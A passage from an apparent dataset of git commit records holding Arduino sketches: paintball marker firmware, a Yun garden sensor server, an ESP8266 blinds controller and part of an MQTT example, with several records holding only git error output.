pathspec 'test\/BT_command\/BT_command.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"a8e37b8c4c384559b3770beddc241691131536f4","subject":"Added single-shot paintball firmware","message":"Added single-shot paintball firmware\n","repos":"majenkotech\/uPR,majenkotech\/uPR,majenkotech\/uPR","old_file":"Firmware\/uPR-SingleShot-10-E\/uPR-SingleShot-10-E.ino","new_file":"Firmware\/uPR-SingleShot-10-E\/uPR-SingleShot-10-E.ino","new_contents":"#include \"LEDDisplay.h\"\n#include \"EEPROM.h\"\n\nuint8_t ammo = 0;\n\n\/\/ Inputs\nconst uint8_t trigger = PIN_TRIG;\nconst uint8_t magazine = PIN_MAG;\n\n\/\/ Outputs\nconst uint8_t fpulse = 2;\nconst uint8_t ok = 3;\n\n\/\/ LED pins:\n\/\/\n\/\/ Left digit:\n\/\/\n\/\/ A = 19\n\/\/ B = 18\n\/\/ C = 8\n\/\/ D = 7\n\/\/ E = 6\n\/\/ F = 21\n\/\/ G = 20\n\/\/ DP = 9\n\/\/\n\/\/ Right digit:\n\/\/\n\/\/ A = 16\n\/\/ B = 15\n\/\/ C = 13\n\/\/ D = 11\n\/\/ E = 10\n\/\/ F = 17\n\/\/ G = 12\n\/\/ DP = 14\n\nconst uint8_t ledPins[16] = {\n\t19, 18, 8, 7, 6, 21, 20, 9,\n\t16, 15, 13, 11, 10, 17, 12, 14\n};\n\n\/*\n * - 80 -\n * 04 40\n * - 02 -\n * 08 20\n * - 10 -\n * 01\n *\/\n\n#define LED_EMPTY 0x009E\n\/\/#define LED_EMPTY 0x9E00\n\/\/#define LED_EMPTY 0x9E9E\n\nconst uint8_t ee_first = 0;\nconst uint8_t ee_duty = 1;\nconst uint8_t ee_start = 2;\nconst uint8_t ee_down = 3;\nconst uint8_t ee_speed1 = 4;\nconst uint8_t ee_speed2 = 5;\nconst uint8_t ee_pulse = 6;\n\nuint8_t duty = 10;\nuint8_t start = 10;\nuint8_t down = 10;\nuint8_t speed1 = 250;\nuint8_t speed2 = 66;\nuint8_t pulse = 50;\n\nvoid setup() {\n\tSerial.begin(115200);\n\tLED.setPins(ledPins);\n\tpinMode(trigger, INPUT_PULLUP);\n\tpinMode(magazine, INPUT_PULLUP);\n\tpinMode(fpulse, OUTPUT);\n\tpinMode(ok, OUTPUT);\n\tdigitalWrite(fpulse, LOW);\n\tdigitalWrite(ok, LOW);\n\tuint8_t isConfigured = EEPROM.read(ee_first);\n\n\tif (isConfigured != 1) {\n\t\tEEPROM.write(ee_duty, duty);\n\t\tEEPROM.write(ee_first, 1);\n\t\tEEPROM.write(ee_start, start);\n\t\tEEPROM.write(ee_down, down);\n\t\tEEPROM.write(ee_speed1, speed1);\n\t\tEEPROM.write(ee_speed2, speed2);\n\t\tEEPROM.write(ee_pulse, pulse);\n\t}\n\n\tduty = EEPROM.read(ee_duty);\n\tstart = EEPROM.read(ee_start);\n\tdown = EEPROM.read(ee_down);\n\tspeed1 = EEPROM.read(ee_speed1);\n\tspeed2 = EEPROM.read(ee_speed2);\n\tpulse = EEPROM.read(ee_pulse);\n\tammo = start;\n}\n\nenum {\n\tBOOT,\n\tIDLE,\n\tLOADING,\n\tFIRING,\n\tHELD,\n\tEMPTY,\n\tREMOVED,\n};\n\nvoid displaySettings() {\n\tchar temp[5];\n\tSerial.print_P((const char *)\"\\x1b[2J\\x1b[1;1H\");\n\tSerial.println_P((const char *)\"uPR Settings\");\n\tSerial.println_P((const char *)\"============\");\n\tSerial.println_P((const char *)\"\");\n\tSerial.print_P((const char *)\"[B\/b] Brightness: \");\n\tsprintf(temp, \"%u\", duty);\n\tSerial.print(temp);\n\tSerial.println_P((const char *)\"\");\n\tSerial.print_P((const char *)\"[L\/l] Load speed: \");\n\tsprintf(temp, \"%u\", speed1);\n\tSerial.print(temp);\n\tSerial.println_P((const char *)\"ms\");\n\tSerial.print_P((const char *)\"[F\/f] Fire speed: \");\n\tsprintf(temp, \"%u\", speed2);\n\tSerial.print(temp);\n\tSerial.println_P((const char *)\"ms\");\n\tSerial.print_P((const char *)\"[I\/i] Initial ammo: \");\n\tsprintf(temp, \"%u\", start);\n\tSerial.print(temp);\n\tSerial.println_P((const char *)\"\");\n\tSerial.print_P((const char *)\"[C\/c] Countdown ammo: \");\n\tsprintf(temp, \"%u\", down);\n\tSerial.print(temp);\n\tSerial.println_P((const char *)\"\");\n\tSerial.print_P((const char *)\"[P\/p] Output pulse: \");\n\tsprintf(temp, \"%u\", pulse);\n\tSerial.print(temp);\n\tSerial.println_P((const char *)\"ms\");\n\tSerial.println_P((const char *)\"\");\n}\n\nuint8_t tweak(uint8_t *val, uint8_t min, uint8_t max, int8_t dir) {\n\tif ((dir == -1) && (*val <= min)) {\n\t\t*val = min;\n\t\treturn 0;\n\t}\n\n\tif ((dir == 1) && (*val >= max)) {\n\t\t*val = max;\n\t\treturn 0;\n\t}\n\n\t*val += dir;\n\treturn 1;\n}\n\nvoid loop() {\n\tstatic uint8_t state = BOOT;\n\tstatic uint32_t ts = 0;\n\tstatic uint8_t phase = 0;\n\tstatic uint32_t saveCounter = 0;\n\tstatic uint32_t pulseCounter = 0;\n\tdelay(1);\n\n\tif (saveCounter > 0) {\n\t\tif (millis() - saveCounter > 5000) {\n\t\t\tEEPROM.write(ee_duty, duty);\n\t\t\tEEPROM.write(ee_start, start);\n\t\t\tEEPROM.write(ee_down, down);\n\t\t\tEEPROM.write(ee_speed1, speed1);\n\t\t\tEEPROM.write(ee_speed2, speed2);\n\t\t\tsaveCounter = 0;\n\t\t\tSerial.println_P((const char *)\"Saved\");\n\t\t}\n\t}\n\n\tif (pulseCounter > 0) {\n\t\tif (millis() - pulseCounter > pulse) {\n\t\t\tdigitalWrite(fpulse, LOW);\n\t\t\tpulseCounter = 0;\n\t\t}\n\t}\n\n\tif (Serial.available()) {\n\t\tint sr = Serial.read();\n\t\tuint8_t changed = 0;\n\n\t\tswitch (sr) {\n\t\t\tcase 'B':\n\t\t\t\tchanged = tweak(&duty, 0, 10, +1);\n\t\t\t\tbreak;\n\n\t\t\tcase 'b':\n\t\t\t\tchanged = tweak(&duty, 0, 10, -1);\n\t\t\t\tbreak;\n\n\t\t\tcase 'L':\n\t\t\t\tchanged = tweak(&speed1, 0, 255, +1);\n\t\t\t\tbreak;\n\n\t\t\tcase 'l':\n\t\t\t\tchanged = tweak(&speed1, 0, 255, -1);\n\t\t\t\tbreak;\n\n\t\t\tcase 'F':\n\t\t\t\tchanged = tweak(&speed2, 0, 255, +1);\n\t\t\t\tbreak;\n\n\t\t\tcase 'f':\n\t\t\t\tchanged = tweak(&speed2, 0, 255, -1);\n\t\t\t\tbreak;\n\n\t\t\tcase 'I':\n\t\t\t\tchanged = tweak(&start, 0, 99, +1);\n\t\t\t\tbreak;\n\n\t\t\tcase 'i':\n\t\t\t\tchanged = tweak(&start, 0, 99, -1);\n\t\t\t\tbreak;\n\n\t\t\tcase 'C':\n\t\t\t\tchanged = tweak(&down, 0, 99, +1);\n\t\t\t\tbreak;\n\n\t\t\tcase 'c':\n\t\t\t\tchanged = tweak(&down, 0, 99, -1);\n\t\t\t\tbreak;\n\n\t\t\tcase 'P':\n\t\t\t\tchanged = tweak(&pulse, 0, 255, +1);\n\t\t\t\tbreak;\n\n\t\t\tcase 'p':\n\t\t\t\tchanged = tweak(&pulse, 0, 255, -1);\n\t\t\t\tbreak;\n\n\t\t\tcase 'r':\n\t\t\t\tasm(\"RESET\");\n\n\t\t\t\twhile (1);\n\n\t\t\t\tbreak;\n\t\t}\n\n\t\tif (changed != 0) {\n\t\t\tsaveCounter = millis();\n\t\t}\n\n\t\tdisplaySettings();\n\t}\n\n\tif (phase < duty) {\n\t\tif (state == REMOVED) {\n LED.displayRaw(LED_EMPTY);\n\t\t} else {\n LED.displayValue(ammo);\n\t\t}\n\t} else {\n\t\tLED.displayRaw(0);\n\t}\n\n\tphase++;\n\n\tif (phase >= 10) {\n\t\tphase = 0;\n\t}\n\n\tif (digitalRead(magazine) == HIGH && state == BOOT) {\n\t\tstate = REMOVED;\n\t\tts = millis();\n\t\tdigitalWrite(ok, LOW);\n\t\tammo = 0;\n\t}\n\n\tif (digitalRead(magazine) == LOW && state == BOOT) {\n\t\tstate = LOADING;\n\t\tts = millis();\n\t\tdigitalWrite(ok, LOW);\n\t\tammo = start;\n\t}\n\n\t\/\/ Magazine has just been removed.\n\tif (digitalRead(magazine) == HIGH && state != REMOVED) {\n\t\tstate = REMOVED;\n\t\tammo = 0;\n\t\tdigitalWrite(ok, LOW);\n\t}\n\n\tif (digitalRead(magazine) == LOW && state == REMOVED) {\n\t\tstate = LOADING;\n\t\tammo = start;\n\t\tts = millis();\n\t\tdigitalWrite(ok, LOW);\n\t}\n\n\tif (digitalRead(trigger) == LOW && state == IDLE) {\n\t\tstate = FIRING;\n\t\tts = millis();\n\t}\n\n\tif (digitalRead(trigger) == HIGH && state == FIRING) {\n\t\tstate = IDLE;\n\t}\n\n\tif (digitalRead(trigger) == HIGH && state == HELD) {\n\t\tstate = IDLE;\n\t}\n\n\tif (state == LOADING) {\n\t\tif (millis() - ts > speed1) {\n\t\t\tts = millis();\n\n\t\t\tif (ammo == down) {\n\t\t\t\tdigitalWrite(ok, HIGH);\n\t\t\t\tstate = IDLE;\n\t\t\t} else {\n\t\t\t\tammo--;\n\t\t\t}\n\t\t}\n\t}\n\n\tif (state == FIRING) {\n\t\tdigitalWrite(fpulse, HIGH);\n\t\tpulseCounter = millis();\n\t\tts = millis();\n\n\t\tif (ammo == 0) {\n\t\t\tdigitalWrite(ok, LOW);\n\t\t\tstate = EMPTY;\n\t\t} else {\n ammo--;\n \t\tstate = HELD;\n\t\t}\n\t}\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Firmware\/uPR-SingleShot-10-E\/uPR-SingleShot-10-E.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"4587ecd595afee07ddc79d14e398aa969a097cca","subject":"Add files via upload","message":"Add files via upload\n\nNearest Neighbor averaging upscale","repos":"E-Ruhl\/ECE_411_Practicum,E-Ruhl\/ECE_411_Practicum","old_file":"Thermal Imaging HUD code\/Thermal_HUD.ino","new_file":"Thermal Imaging HUD code\/Thermal_HUD.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Thermal' did not match any file(s) known to git\nerror: pathspec 'Imaging' did not match any file(s) known to git\nerror: pathspec 'HUD' did not match any file(s) known to git\nerror: pathspec 'code\/Thermal_HUD.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"09764e658a0e831ce58a032b537d02bdcf4b5932","subject":"Add outside station code.","message":"Add outside station code.\n","repos":"emptyland\/arduino,emptyland\/arduino","old_file":"OutsideStation\/outside_station.ino","new_file":"OutsideStation\/outside_station.ino","new_contents":"#include <dht11.h>\n#include <Bridge.h>\n#include <Console.h>\n#include <FileIO.h>\n#include <HttpClient.h>\n#include <Mailbox.h>\n#include <Process.h>\n#include <YunClient.h>\n#include <YunServer.h>\n\nYunServer server;\ndht11 dht;\n\nint E1 = 2;\nint M1 = 3;\nint GROUND_0 = 5;\nint GROUND_1 = 4;\nint DHT11 = 4;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n pinMode(M1, OUTPUT);\n \/\/pinMode(GROUND_0, INPUT);\n\n Serial.begin(9600); \n Bridge.begin();\n server.noListenOnLocalhost();\n server.begin();\n}\n\nvoid sendFail(YunClient client, int code, String result) {\n client.print(F(\"{\\\"code\\\": \"));\n client.print(code);\n client.print(F(\", \\\"result\\\": \\\"\"));\n client.print(result);\n client.println(F(\"\\\"}\"));\n}\n\nvoid sendIntResult(YunClient client, int code, int result) {\n client.print(F(\"{\\\"code\\\": \"));\n client.print(code);\n client.print(F(\", \\\"result\\\": \\\"\"));\n client.print(result);\n client.println(F(\"\\\"}\")); \n}\n\nvoid waterPollControl(YunClient client, int number) {\n if (client.read() != '\/') {\n sendFail(client, 500, \"invalid params\");\n return;\n }\n int on = client.parseInt();\n if (on == 1 && client.read() != '\/') {\n sendFail(client, 500, \"invalid params\");\n return;\n }\n int power = client.parseInt(); \n switch (number) {\n case 0:\n digitalWrite(E1, on);\n analogWrite(M1, power);\n sendIntResult(client, 200, on);\n break;\n case 1:\n break;\n default:\n sendFail(client, 500, \"no more water poll\");\n break;\n }\n}\n\nvoid groundStatus(YunClient client, int number) {\n switch (number) {\n case 0:\n sendIntResult(client, 200, analogRead(GROUND_0));\n break;\n \n case 1:\n sendIntResult(client, 200, analogRead(GROUND_1));\n break; \n \n default:\n sendFail(client, 500, \"no more ground status\");\n break;\n }\n}\n\nvoid envStatus(YunClient client, int number) {\n int chk = dht.read(DHT11);\n switch (chk){\n case DHTLIB_OK: \n break;\n \n case DHTLIB_ERROR_CHECKSUM: \n sendFail(client, 500, \"DHT11 checksum error.\");\n return;\n \n case DHTLIB_ERROR_TIMEOUT: \n sendFail(client, 500, \"DHT11 time out.\");\n return;\n\n default: \n sendFail(client, 500, \"DHT11 unknown error.\");\n return;\n }\n\n switch (number) {\n case 0:\n sendIntResult(client, 200, dht.temperature);\n break;\n \n case 1:\n sendIntResult(client, 200, dht.humidity);\n break; \n \n default:\n sendFail(client, 500, \"no more env status\");\n break;\n }\n}\n\nvoid process(YunClient client) {\n String command = client.readStringUntil('\/');\n Serial.println(command);\n if (command.startsWith(\"GET\")) {\n String method = client.readStringUntil('\/');\n if (method.startsWith(\"ground\")) {\n int number = client.parseInt();\n groundStatus(client, number);\n } else if (method.startsWith(\"env\")) {\n int number = client.parseInt();\n envStatus(client, number);\n } else {\n sendFail(client, 404, \"method not be support!\");\n }\n } else if (command.startsWith(\"PUT\")) {\n String method = client.readStringUntil('\/');\n if (method.startsWith(\"water\")) {\n int number = client.parseInt();\n waterPollControl(client, number);\n } else {\n sendFail(client, 404, \"method not be support!\");\n } \n } else if (command.startsWith(\"POST\")) {\n \n } else {\n Serial.print(command);\n Serial.println(\"not be support!\");\n sendFail(client, 404, \"method not be support!\");\n }\n}\n\nvoid loop() {\n YunClient client = server.accept();\n \n if (client) {\n process(client); \n client.stop(); \n }\n delay(50);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'OutsideStation\/outside_station.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"74530ee4f914b25b9548dab0394dbcd7a0e40af6","subject":"added motor test firmware","message":"added motor test firmware","repos":"DamonHD\/OTRadioLink,DamonHD\/OTRadioLink,opentrv\/OTRadioLink,Denzo77\/OTRadioLink,DamonHD\/OTRadioLink,opentrv\/OTRadioLink,Denzo77\/OTRadioLink,DamonHD\/OTRadioLink,Denzo77\/OTRadioLink,opentrv\/OTRadioLink,opentrv\/OTRadioLink,Denzo77\/OTRadioLink","old_file":"dev\/utils\/motorTest\/motorTest.ino","new_file":"dev\/utils\/motorTest\/motorTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Denzo77\/OTRadioLink.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"50f9e539d8b424842f4dab9d1357b30c6db3e0d8","subject":"Ensure minimum spi pulse width.","message":"Ensure minimum spi pulse width.\n","repos":"nandojve\/Arduino,tomkrus007\/Arduino,xxxajk\/Arduino-1,PaoloP74\/Arduino,acosinwork\/Arduino,tbowmo\/Arduino,tbowmo\/Arduino,tomkrus007\/Arduino,henningpohl\/Arduino,niggor\/Arduino_cc,nandojve\/Arduino,xxxajk\/Arduino-1,tbowmo\/Arduino,eggfly\/arduino,bsmr-arduino\/Arduino,acosinwork\/Arduino,acosinwork\/Arduino,majenkotech\/Arduino,Chris--A\/Arduino,nandojve\/Arduino,Chris--A\/Arduino,niggor\/Arduino_cc,eggfly\/arduino,Chris--A\/Arduino,nandojve\/Arduino,bsmr-arduino\/Arduino,majenkotech\/Arduino,nandojve\/Arduino,majenkotech\/Arduino,stickbreaker\/Arduino,xxxajk\/Arduino-1,ntruchsess\/Arduino-1,PeterVH\/Arduino,xxxajk\/Arduino-1,acosinwork\/Arduino,NicoHood\/Arduino,byran\/Arduino,stickbreaker\/Arduino,PaoloP74\/Arduino,majenkotech\/Arduino,bsmr-arduino\/Arduino,Chris--A\/Arduino,me-no-dev\/Arduino-1,tomkrus007\/Arduino,vbextreme\/Arduino,ntruchsess\/Arduino-1,stevemayhew\/Arduino,NicoHood\/Arduino,henningpohl\/Arduino,me-no-dev\/Arduino-1,me-no-dev\/Arduino-1,eggfly\/arduino,xxxajk\/Arduino-1,vbextreme\/Arduino,vbextreme\/Arduino,me-no-dev\/Arduino-1,xxxajk\/Arduino-1,tbowmo\/Arduino,xxxajk\/Arduino-1,me-no-dev\/Arduino-1,niggor\/Arduino_cc,tomkrus007\/Arduino,eggfly\/arduino,me-no-dev\/Arduino-1,PaoloP74\/Arduino,NicoHood\/Arduino,byran\/Arduino,PaoloP74\/Arduino,niggor\/Arduino_cc,nandojve\/Arduino,majenkotech\/Arduino,xxxajk\/Arduino-1,stevemayhew\/Arduino,stickbreaker\/Arduino,me-no-dev\/Arduino-1,ntruchsess\/Arduino-1,stevemayhew\/Arduino,henningpohl\/Arduino,bsmr-arduino\/Arduino,NicoHood\/Arduino,stickbreaker\/Arduino,niggor\/Arduino_cc,NicoHood\/Arduino,PaoloP74\/Arduino,PaoloP74\/Arduino,eggfly\/arduino,PaoloP74\/Arduino,niggor\/Arduino_cc,NicoHood\/Arduino,PeterVH\/Arduino,stickbreaker\/Arduino,henningpohl\/Arduino,Chris--A\/Arduino,bsmr-arduino\/Arduino,acosinwork\/Arduino,Chris--A\/Arduino,eggfly\/arduino,acosinwork\/Arduino,tomkrus007\/Arduino,ntruchsess\/Arduino-1,henningpohl\/Arduino,stevemayhew\/Arduino,eggfly\/arduino,bsmr-arduino\/Arduino,byran\/Arduino,NicoHood\/Arduino,byran\/Arduino,byran\/Arduino,stevemayhew\/Arduino,PeterVH\/Arduino,PeterVH\/Arduino,tomkrus007\/Arduino,Chris--A\/Arduino,ntruchsess\/Arduino-1,ntruchsess\/Arduino-1,henningpohl\/Arduino,PeterVH\/Arduino,tomkrus007\/Arduino,Chris--A\/Arduino,stevemayhew\/Arduino,vbextreme\/Arduino,PaoloP74\/Arduino,vbextreme\/Arduino,tbowmo\/Arduino,vbextreme\/Arduino,eggfly\/arduino,bsmr-arduino\/Arduino,byran\/Arduino,ntruchsess\/Arduino-1,majenkotech\/Arduino,ntruchsess\/Arduino-1,stevemayhew\/Arduino,byran\/Arduino,tbowmo\/Arduino,niggor\/Arduino_cc,tbowmo\/Arduino,byran\/Arduino,tomkrus007\/Arduino,henningpohl\/Arduino,niggor\/Arduino_cc,bsmr-arduino\/Arduino,acosinwork\/Arduino,PeterVH\/Arduino,acosinwork\/Arduino,majenkotech\/Arduino,henningpohl\/Arduino,tbowmo\/Arduino,niggor\/Arduino_cc,nandojve\/Arduino,nandojve\/Arduino,vbextreme\/Arduino,PeterVH\/Arduino,stickbreaker\/Arduino,NicoHood\/Arduino,me-no-dev\/Arduino-1,PeterVH\/Arduino,stevemayhew\/Arduino,stickbreaker\/Arduino,vbextreme\/Arduino","old_file":"build\/shared\/examples\/11.ArduinoISP\/ArduinoISP\/ArduinoISP.ino","new_file":"build\/shared\/examples\/11.ArduinoISP\/ArduinoISP\/ArduinoISP.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"fatal: remote error: upload-pack: not our ref 50f9e539d8b424842f4dab9d1357b30c6db3e0d8\nfatal: the remote end hung up unexpectedly\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"c4b807fe1b10210a89ba6ca42aafcad76ed191a4","subject":"BASIC OPMODES WORKING","message":"BASIC OPMODES WORKING\n","repos":"JulioOrdonezV\/pvcloud,JulioOrdonezV\/pvcloud,JulioOrdonezV\/pvcloud,JulioOrdonezV\/pvcloud","old_file":"pvcloud_arduino_library\/examples\/tombo_demo\/tombo_demo.ino","new_file":"pvcloud_arduino_library\/examples\/tombo_demo\/tombo_demo.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulioOrdonezV\/pvcloud.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8fadcec12205bd4fede28e3b352a2f73c4156c79","subject":"two circles","message":"two circles\n","repos":"nathankoch\/arduino-videosynth","old_file":"videosynth.ino","new_file":"videosynth.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nathankoch\/arduino-videosynth.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"bcfac6d39d2e99e5e0226cbdd4ffe036285f9841","subject":"Create WebMotorControl-ESP8266-Sketch.ino","message":"Create WebMotorControl-ESP8266-Sketch.ino","repos":"castlecole\/customdevices,castlecole\/customdevices","old_file":"WebMotorControl-ESP8266-Sketch.ino","new_file":"WebMotorControl-ESP8266-Sketch.ino","new_contents":"\/*\n * Contains code from: \n * http:\/\/randomnerdtutorials.com\/esp8266-remote-controlled-sockets\/\n * http:\/\/www.bruhautomation.com\/p\/cheapest-wifi-automated-blinds.html\n * https:\/\/www.arduino.cc\/en\/Tutorial\/Sweep\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may not use this file except\n * in compliance with the License. You may obtain a copy of the License at:\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed\n * on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License\n * for the specific language governing permissions and limitations under the License.\n *\/\n\n#include <ESP8266WiFi.h>\n#include <WiFiClient.h>\n#include <ESP8266WebServer.h>\n#include <ESP8266mDNS.h>\n#include <Servo.h>\n\n#define WLAN_SSID \"YourSSIDgoesHere\"\n#define WLAN_PASS \"YourWifiPassword\"\n\nMDNSResponder mdns;\nESP8266WebServer server(80);\n\nServo myservo;\nint pos = 0;\nint state = 0;\nint prevstate = 0;\nint dirc = 0;\nint servoPin = D3; \/\/CHANGE TO WHATEVER PIN YOUR USING\n\nString webPage = \"\";\n\nvoid setup(void) {\n webPage += \"<h1>ESP8266 Web Server<\/h1><p>Blinds <a href=\\\"open\\\"><button>OPEN<\/button><\/a> <a href=\\\"close\\\"><button>CLOSE<\/button><\/a><\/p>\";\n\n delay(1000);\n Serial.begin(9600);\n delay(500);\n Serial.println(\"Blind Startup Sequence\");\n delay(500);\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(WLAN_SSID);\n WiFi.begin(WLAN_SSID, WLAN_PASS);\n \/\/ Set a static IP (optional)\n IPAddress ip(192, 168, 1, 142);\n IPAddress gateway(192, 168, 1, 1);\n IPAddress subnet(255, 255, 255, 0);\n WiFi.config(ip, gateway, subnet);\n \/\/ End of set a static IP (optional)\n delay(500);\n int i = 0;\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n ESP.wdtFeed();\n if (i > 40) \/\/ Try 40 times to connect to Wifi\n Serial.print(\"Restarting Wifi\"); ESP.reset(); \/\/ Reset Wifi stack if more than 40 trys\n i++;\n WiFi.begin(WLAN_SSID, WLAN_PASS);\n \/\/ Set a static IP retry (optional)\n IPAddress ip(192, 168, 1, 142);\n IPAddress gateway(192, 168, 1, 1);\n IPAddress subnet(255, 255, 255, 0);\n WiFi.config(ip, gateway, subnet);\n \/\/ End of set a static IP retry (optional)\n }\n\n Serial.println();\n Serial.println(\"WiFi connected\");\n Serial.println(\"IP address: \"); Serial.println(WiFi.localIP());\n\n if (mdns.begin(\"esp8266\", WiFi.localIP())) {\n Serial.println(\"MDNS responder started\");\n }\n\n server.on(\"\/\", []() {\n server.send(200, \"text\/html\", webPage);\n });\n server.on(\"\/open\", []() {\n server.send(200, \"text\/html\", webPage);\n Serial.println(\"HTTP OPEN COMMAND RECEIVED\");\n dirc = 0; \/\/ direction for servo to run\n state = 2; \/\/ sets current state\n });\n server.on(\"\/close\", []() {\n server.send(200, \"text\/html\", webPage);\n Serial.println(\"HTTP CLOSE COMMAND RECEIVED\");\n dirc = 180; \/\/ direction for servo to run\n state = 1; \/\/ sets current state\n });\n server.begin();\n Serial.println(\"HTTP server started\");\n}\n\nvoid servo_move() {\n Serial.println(\"State Change. Rotating Servo\");\n if ( dirc == 180) {\n myservo.attach(servoPin); \/\/ energize servo\n delay(50);\n for (pos = 0; pos <= 90; pos += 1) { \/\/ goes from 0 degrees to 90 degrees in steps of 1 degree CHANGE 90 TO MATCH ANGLE OF TILT DESIRED\n myservo.write(pos); \/\/ tell servo to go to position in variable 'pos'\n delay(30); \/\/ waits 30ms between each degree to slow rotation speed\n }\n delay(50);\n myservo.detach(); \/\/ movement finished so detach servo to conserve power\n }\n else if (dirc == 0) {\n myservo.attach(servoPin); \/\/ energize servo\n delay(50);\n for (pos = 90; pos >= 0; pos -= 1) { \/\/ goes from 90 degrees to 0 degrees in steps of 1 degree CHANGE 90 TO MIRROR ANGLE OF TILT DESIRED ABOVE\n myservo.write(pos); \/\/ tell servo to go to position in variable 'pos'\n delay(30); \/\/ waits 30ms between each degree to slow rotation speed\n }\n delay(50);\n myservo.detach(); \/\/ movement finished so detach servo to conserve power\n }\n\n Serial.println(\"Returning to main loop\");\n return;\n}\n\nvoid loop(void) {\n if (state != prevstate) {\n Serial.println(\"State change!\");\n servo_move();\n }\n prevstate = state;\n server.handleClient();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'WebMotorControl-ESP8266-Sketch.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"b6f2cb29bc773cbc97f9098a9b714ddaa9e215f9","subject":"Example for ESP8266","message":"Example for ESP8266\n\nI was very happy to see this working well. Now ESP8266 and MQTT becomes even more easy.\r\nMaybe attached example will help others to quickly get started","repos":"tomn46037\/pubsubclient,plugplayco\/plugplay-arduino-mqtt,rubenqba\/pubsubclient,tomn46037\/pubsubclient,CanTireInnovations\/pubsubclient,rubensmachado\/pubsubclient,knolleary\/pubsubclient,arduino\/pubsubclient,armtronix\/pubsubclient,diegopx\/pubsubclient,tomn46037\/pubsubclient,diegopx\/pubsubclient,CanTireInnovations\/pubsubclient,rubensmachado\/pubsubclient,mknjc\/pubsubclient,knolleary\/pubsubclient,rubenqba\/pubsubclient,knolleary\/pubsubclient,CanTireInnovations\/pubsubclient,rubensmachado\/pubsubclient,armtronix\/pubsubclient,diegopx\/pubsubclient,tectiv3\/pubsubclient,arduino\/pubsubclient,armtronix\/pubsubclient,arduino\/pubsubclient,rubenqba\/pubsubclient,mknjc\/pubsubclient,tectiv3\/pubsubclient,mknjc\/pubsubclient,tectiv3\/pubsubclient","old_file":"examples\/esp8266\/mqtt_esp8266.ino","new_file":"examples\/esp8266\/mqtt_esp8266.ino","new_contents":"\/*\n Basic ESP8266 MQTT example\n\n This sketch demonstrates the capabilities of the pubsub library in combination with the ESP8266 board\/library.\n It connects to an MQTT server then:\n - publishes \"hello world\" to the topic \"outTopic\"\n - subscribes to the topic \"inTopic\", printing out any messages\n it receives. NB - it assumes the received payloads are strings not binary\n - If the first character of the topic \"inTopic\" is an 1, switch ON the ESP Led, else switch it off\n\n It will reconnect to the server if the connection is lost using a blocking\n reconnect function. See the 'mqtt_reconnect_nonblocking' example for how to\n achieve the same result without blocking the main loop.\n\n To install the ESP8266 board\n Install Arduino 1.6.4+ (tested with Arduino 1.6.5)\n json file from https:\/\/github.com\/arduino\/Arduino\/wiki\/Unofficial-list-of-3rd-party-boards-support-urls added in \"File -> Preferences -> Additional Boards Manager URLs\"\n Open the \"Tools -> Board -> Board Manager\" and click install for the ESP8266\"\n Select your ESP8266 in \"Tools -> Board\"\n\n*\/\n\n#include <ESP8266WiFi.h>\n#include <PubSubClient.h>\n\n\/\/ Update these with values suitable for your network.\n\nconst char* ssid = \"........\";\nconst char* password = \"........\";\nconst char* mqtt_server = \"broker.mqtt-dashboard.com\";\n\nWiFiClient espClient;\nPubSubClient client(espClient);\nlong lastMsg = 0;\nchar msg[50];\nint value = 0;\n\nvoid setup() {\n pinMode(BUILTIN_LED, OUTPUT); \/\/ Initialize the BUILTIN_LED pin as an output\n Serial.begin(115200);\n setup_wifi();\n client.setServer(mqtt_server, 1883);\n client.setCallback(callback);\n}\n\nvoid setup_wifi() {\n\n delay(10);\n \/\/ We start by connecting to a WiFi network\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n\n WiFi.begin(ssid, password);\n\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n Serial.println(\"IP address: \");\n Serial.println(WiFi.localIP());\n}\n\nvoid callback(char* topic, byte* payload, unsigned int length) {\n Serial.print(\"Message arrived [\");\n Serial.print(topic);\n Serial.print(\"] \");\n for (int i = 0; i < length; i++) {\n Serial.print((char)payload[i]);\n }\n Serial.println();\n\n \/\/ Switch on the LED if an 1 was received as first character\n if ((char)payload[0] == '1') {\n digitalWrite(BUILTIN_LED, LOW); \/\/ Turn the LED on (Note that LOW is the voltage level\n 